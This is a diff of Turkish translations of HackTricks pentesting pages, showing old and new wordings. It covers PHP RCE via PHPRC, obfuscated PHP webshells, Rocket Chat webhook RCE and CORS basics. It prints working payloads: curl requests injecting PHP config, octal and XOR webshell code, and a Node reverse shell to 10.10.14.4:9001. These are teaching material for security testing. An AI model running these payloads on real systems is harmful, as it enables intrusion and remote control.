Farklı .htaccess kabuklarına [buradan](https://github.com/wireghoul/htshells) ulaşılabilir.
### Env Değişkenleri Üzerinden RCE
### **Env Değişkenleri Üzerinden RCE**
Eğer **PHP'de env değişkenlerini değiştirmenize izin veren bir zayıflık bulursanız** (ve başka bir dosya yükleme zayıflığı da varsa, ancak daha fazla araştırma ile bunun atlatılabileceği belki), bu davranışı **RCE** elde etmek için kötüye kullanabilirsiniz.
Eğer **PHP'de env değişkenlerini değiştirmenize izin veren bir zayıflık bulursanız** (ve başka bir dosya yükleme zayıflığı da bulursanız, daha fazla araştırma ile bunun atlatılabileceği belki), bu davranışı **RCE** elde etmek için kullanabilirsiniz.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken keyfi kütüphaneleri yüklemenize olanak tanır (ancak bu durumda çalışmayabilir).
- **`PHPRC`** : PHP'ye **yapılandırma dosyasını nerede bulacağını söyler**, genellikle `php.ini` olarak adlandırılır. Kendi yapılandırma dosyanızı yükleyebiliyorsanız, o zaman PHP'yi ona işaret etmek için `PHPRC`'yi kullanın. İkinci yüklenen bir dosyayı belirten **`auto_prepend_file`** girdisini ekleyin. Bu ikinci dosya, normal **PHP kodunu içerir ve ardından PHP çalışma zamanı tarafından diğer tüm kodlardan önce çalıştırılır**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken keyfi kütüphaneleri yüklemenize izin verir (ancak bu durumda işe yaramayabilir).
- **`PHPRC`** : PHP'ye **yapılandırma dosyasını nerede bulacağını söyler**, genellikle `php.ini` olarak adlandırılır. Kendi yapılandırma dosyanızı yükleyebiliyorsanız, o zaman, PHP'yi bu dosyaya yönlendirmek için `PHPRC`'yi kullanın. İkinci yüklenen bir dosyayı belirten **`auto_prepend_file`** girdisini ekleyin. Bu ikinci dosya, normal **PHP kodunu içerir ve ardından PHP çalışma zamanı tarafından diğer kodlardan önce yürütülür**.
1. Kabuk kodumuzu içeren bir PHP dosyası yükleyin
2. İkinci adımda yüklediğimiz dosyayı çalıştırmak için PHP ön işlemcisine talimat veren bir **`auto_prepend_file`** yönergesi içeren ikinci bir dosya yükleyin
3. `PHPRC` değişkenini ikinci adımda yüklediğimiz dosyaya ayarlayın.
- Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi edinin [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
2. İkinci bir dosya yükleyin, adım 1'de yüklediğimiz dosyayı yürütmek için PHP ön işleyicisine talimat veren bir **`auto_prepend_file`** yönergesi içerir
3. `PHPRC` değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
- Bu zinciri nasıl yürüteceğinizle ilgili daha fazla bilgiyi [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) edinin.
- **PHPRC** - başka bir seçenek
- Eğer **dosya yükleyemiyorsanız**, FreeBSD'de "file" `/dev/fd/0`'ı kullanabilirsiniz, bu **`stdin`** içeren bir **`stdin`'e gönderilen isteğin gövdesi**:
- Eğer **dosya yükleyemiyorsanız**, FreeBSD'de "file" `/dev/fd/0`'ı kullanabilirsiniz, bu **`stdin`'i içeren** bir "file" olup, isteğin **`stdin`'e gönderilen gövdesi** olur:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Veya RCE elde etmek için **`allow_url_include`**'ı etkinleştirin ve **base64 PHP kodu** içeren bir dosyayı ön ekleyin:
- Veya RCE elde etmek için **`allow_url_include`**'ı etkinleştirin ve **base64 PHP kodu** içeren bir dosyayı öne ekleyin:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- Teknik [**bu rapordan**](https://vulncheck.com/blog/juniper-cve-2023-36845).
@ -279,17 +279,17 @@ $_COOKIE | if #This mea
```
Eğer bir PHP uygulamasını hata ayıklıyorsanız, `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyerek hata yazdırmayı global olarak etkinleştirebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
### PHP Kodunu Deobfuscate Etme
### PHP Kodunu Deobfuscating
PHP kodunu deobfuscate etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **adresini kullanabilirsiniz.**
## PHP Wrapper'lar ve Protokoller
## PHP Wrappers & Protocols
PHP Wrapper'lar ve protokoller, bir sistemin yazma ve okuma korumalarını **atlayarak** tehlikeye atabilir. [**Daha fazla bilgi için bu sayfaya göz atın**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
PHP Wrappers ve protokoller, bir sistemin yazma ve okuma korumalarını **atlaymanıza** ve onu tehlikeye atmanıza olanak tanıyabilir. [**Daha fazla bilgi için bu sayfaya**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols) **bakın.**
## Xdebug kimlik doğrulamasız RCE
Eğer bir `phpconfig()` çıktısında **Xdebug**'in **etkin** olduğunu görürseniz, [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) üzerinden RCE almaya çalışmalısınız.
Eğer bir `phpconfig()` çıktısında **Xdebug**'in **etkin** olduğunu görürseniz, RCE elde etmeyi denemelisiniz: [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Değişken değişkenler
```php
@ -303,9 +303,9 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## Yeni $\_GET\["a"]\($\_GET\["b"] kullanarak RCE kötüye kullanımı
## Yeni $\_GET\["a"]\($\_GET\["b"]) kötüye kullanarak RCE
Eğer bir sayfada **herhangi bir sınıfın yeni bir nesnesini oluşturabiliyorsanız**, RCE elde edebilirsiniz, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
Eğer bir sayfada **keyfi bir sınıfın yeni bir nesnesini oluşturabiliyorsanız**, RCE elde edebilirsiniz, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -315,13 +315,13 @@ Eğer bir sayfada **herhangi bir sınıfın yeni bir nesnesini oluşturabiliyors
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Sekizli kullanımı
### Sekizliği kullanarak
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
XOR (Mantıksal Bağlaç) iki değeri karşılaştırır ve yalnızca biri doğruysa true döndürür. Bu, PHP'de sık kullanılan bir tekniktir.
XOR, İngilizce "exclusive or" kelimelerinin kısaltmasıdır. Bu işlem, iki bitin değerlerini karşılaştırır ve sadece biri 1 ise sonuç 1 olur. Aksi takdirde sonuç 0 olur. Bu işlem, veri şifreleme ve karşılaştırma işlemlerinde sıkça kullanılır.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -404,7 +404,7 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -417,7 +417,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -23,18 +23,18 @@ HackTricks'ı desteklemenin diğer yolları:
Eğer Rocket Chat içinde adminseniz RCE alabilirsiniz.
* **`Integrations`**'a gidin ve **`New Integration`**'ı seçin ve herhangi birini seçin: **`Incoming WebHook`** veya **`Outgoing WebHook`**.
* **`Entegrasyonlar`**'a gidin ve **`Yeni Entegrasyon`** seçin ve herhangi birini seçin: **`Gelen Web Kancası`** veya **`Giden Web Kancası`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
* [Belgelere](https://docs.rocket.chat/guides/administration/admin-panel/integrations) göre, her ikisi de veriyi işlemek için ES2015 / ECMAScript 6 ([temelde JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) kullanır. Bu yüzden [javascript için bir rev shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs) alalım:
* [Belgelere](https://docs.rocket.chat/guides/administration/admin-panel/integrations) göre her ikisi de veriyi işlemek için ES2015 / ECMAScript 6 ([temelde JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) kullanır. Bu yüzden [javascript için bir ters kabuk alalım](../../generic-methodologies-and-resources/shells/linux.md#nodejs) gibi:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* WebHook'u yapılandırın (kanal ve kullanıcı adı olarak gönderi olmalıdır):
* WebHook'u yapılandırın (kanal ve kullanıcı adı olarak gönderi mevcut olmalıdır):
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
@ -50,20 +50,20 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* Curl ile çağırın ve ters shell'i almalısınız
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman seviyesine AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,18 +1,18 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -24,27 +24,27 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```
# Bruteforce
Bruteforce saldırıları, bir hedef sistemdeki kullanıcı adı ve şifre kombinasyonlarını deneyerek yetkisiz erişim elde etmeye çalışan saldırı türleridir. Bu saldırılar genellikle oturum açma sayfaları veya kimlik doğrulama mekanizmaları hedef alınarak gerçekleştirilir. Saldırganlar genellikle otomatik araçlar kullanarak büyük bir şifre listesini hızlı bir şekilde deneyerek başarılı bir giriş yapmaya çalışırlar. Bu tür saldırılar genellikle zayıf şifreler veya kötü yapılandırılmış kimlik doğrulama mekanizmaları hedef alınarak gerçekleştirilir. Güvenlik açıklarını tespit etmek ve önlem almak için bruteforce saldırılarını simüle etmek önemli bir pentesting tekniğidir.
Bruteforce saldırıları, genellikle zayıf veya sızdırılmış şifreleri kırarak sistemlere erişmeyi amaçlar. Saldırganlar, oturum açma formlarına veya kimlik doğrulama mekanizmalarına otomatik olarak binlerce veya milyonlarca şifre deneyerek giriş yapmaya çalışırlar. Bu saldırı türü, güvenlik açıklarını tespit etmek ve kapatmak için kullanılabilir.
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Eğer geçerli kimlik bilgilerini bulursanız, daha fazla metasploit tarayıcı modülü kullanarak bilgi edinebilirsiniz.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -2,50 +2,50 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CORS Nedir?
Çapraz Kaynak Paylaşımı (CORS) standardı **sunucuların varlıklarına kimin erişebileceğini** ve **harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu tanımlamasına olanak tanır**.
Çapraz Kaynak Kaynak Paylaşımı (CORS) standardı **sunucuların varlıklarına kimin erişebileceğini** ve **harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu** tanımlamasına olanak tanır.
**Aynı köken** politikası, bir **kaynağı isteyen sunucunun** ve **kaynağı barındıran sunucunun** aynı protokolü (ör. `http://`), alan adını (ör. `internal-web.com`) ve **portu** (ör. 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfalarına kaynaklara erişim izinlidir.
**Aynı köken** politikası, bir **kaynağı isteyen sunucu** ile **kaynağı barındıran sunucunun** aynı protokolü (örneğin, `http://`), alan adını (örneğin, `internal-web.com`) ve **portu** (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan web sayfalarına kaynaklara erişim izinlidir.
`http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilmiştir:
| Erişilen URL | Erişime izin verildi mi? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Evet: Aynı şema, alan adı ve port |
| `http://normal-website.com/example2/` | Evet: Aynı şema, alan adı ve port |
| `http://normal-website.com/example/` | Evet: Aynı şema, etki alanı ve port |
| `http://normal-website.com/example2/` | Evet: Aynı şema, etki alanı ve port |
| `https://normal-website.com/example/` | Hayır: Farklı şema ve port |
| `http://en.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://www.normal-website.com/example/` | Hayır: Farklı alan adı |
| `http://en.normal-website.com/example/` | Hayır: Farklı etki alanı |
| `http://www.normal-website.com/example/` | Hayır: Farklı etki alanı |
| `http://normal-website.com:8080/example/` | Hayır: Farklı port\* |
\*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.
### `Access-Control-Allow-Origin` Başlığı
Bu başlık **çoklu kökenlere**, bir **`null`** değerine veya joker karakter **`*`**'e izin verebilir. Ancak, **hiçbir tarayıcı çoklu kökenleri desteklemez** ve joker karakter `*`'in kullanımı **kısıtlamalara** tabidir. (Joker karakter yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımına izin verilmez.)
Bu başlık **çoklu kökenlere**, bir **`null`** değerine veya joker **`*`** değerine izin verebilir. Ancak, **hiçbir tarayıcı çoklu kökenleri desteklemez**, ve joker `*` kullanımı **kısıtlamalara** tabidir. (Joker yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımı izin verilmez.)
Bu başlık, bir web sitesi tarafından başlatılan çapraz etki alanı kaynağı isteğine sunucu tarafından **verilir** ve tarayıcı otomatik olarak bir `Origin` başlığı ekler.
Bu başlık, bir web sitesi tarafından başlatılan çapraz etki alanı kaynak isteğine yanıt olarak **bir sunucu tarafından verilir**, tarayıcı otomatik olarak bir `Origin` başlığı ekler.
### `Access-Control-Allow-Credentials` Başlığı
**Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, kimlik bilgileri gönderildiğinde yanıtın okunmasına izin vererek `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayabilir.
**Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir, bunu `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak yapabilir.
`true` olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.
```javascript
@ -74,17 +74,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### CSRF Ön uçuş isteği
### CSRF Ön uçu isteği
### Çapraz Alan İletişiminde Ön Uçuş İsteklerinin Anlaşılması
### Çapraz Alan İletişiminde Ön Uçu İsteklerinin Anlaşılması
Belirli koşullar altında çapraz alan isteği başlatırken, örneğin **standart olmayan HTTP yöntemi** kullanılarak (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılarak veya özel bir **Content-Type başlık değeri** kullanılarak, bir ön uçuş isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu gelecek çapraz kökenli isteğin niyetleri hakkında bilgilendirir, kullanmayı planladığı HTTP yöntemleri ve başlıklar dahil.
Belirli koşullar altında çapraz alan isteği başlatılırken, **standart olmayan bir HTTP yöntemi** kullanılması (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılması veya özel bir **Content-Type başlık değeri** kullanılması gibi durumlarda, bir ön uçu isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu, yaklaşan çapraz köken isteğinin niyetlerini, kullanmayı planladığı HTTP yöntemlerini ve başlıkları içeren bilgilendirir.
